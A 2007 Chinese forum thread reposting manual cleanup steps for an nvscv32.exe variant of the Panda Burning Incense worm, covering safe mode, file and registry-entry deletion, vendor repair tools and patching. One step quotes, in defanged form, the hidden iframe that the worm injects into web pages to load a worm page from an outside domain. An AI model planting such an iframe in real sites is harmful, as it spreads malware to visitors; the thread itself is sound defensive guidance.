黑色海岸线论坛 - Powered by Discuz! Board

标题: [转载] 熊猫烧香病毒nvscv32.exe变种手动清除方案 [打印本页]

作者: vc夭夭 时间: 2007-4-11 14:19 标题: 熊猫烧香病毒nvscv32.exe变种手动清除方案

熊猫烧香病毒nvscv32.exe变种手动清除方案
作者：GonNa

编者按：PConline提供了一种针对熊猫烧香病毒nvscv32.exe变种的查杀办法。据调查此变种于16日出现。笔者有幸于17日与“熊猫烧香病毒nvscv32.exe变种”亲密接触，并用以下方法将其清除。推荐使用第一种方法。

相关链接：
《熊猫烧香病毒专杀及手动修复方案》——适合病毒进程为：spoclsv.exe和FuckJacks.exe的读者。此文的病毒进程为：nvscv32.exe

一、PConline提供的解决方案

　　1.拔网线；

　　2.重新进入WinXP安全模式，熊猫烧香病毒进程没有加载，可使用“任务管理器”！（提示：开机后按住F8）

　　3.删除病毒文件：%SystemRoot%\system32\drivers\nvscv32.exe。

　　4.开始菜单=>运行，运行msconfig命令。在“系统配置实用程序”中，取消与nvscv32.exe相关的进程。也可使用超级兔子魔法设置、HijackThis等，删除nvscv32.exe的注册表启动项。

贴子相关图片:

作者：孤獨流浪︱ 2007-2-13 11:10 　回复此发言

--------------------------------------------------------------------------------

2 回复：熊猫烧香病毒nvscv32.exe变种手动清除方案
5.下载并使用江民专杀工具，修复被感染的exe文件。并及时打上Windows补丁。

　　6.清除html/asp/php等，所有网页文件中如下代码：（为防止传播代码有三处修改，请将“。”换为“.”）

　　<iframe src=http://www。krvkr。com/worm。htm width=”0” height=”0”></iframe>

　　批量清除恶意代码的方法：

　　可使用Dreamweaver的批量替换。

作者: chinanic 时间: 2007-4-27 03:28

手工杀毒要的是经验和意识。

欢迎光临黑色海岸线论坛 (http://bbs.thysea.com/)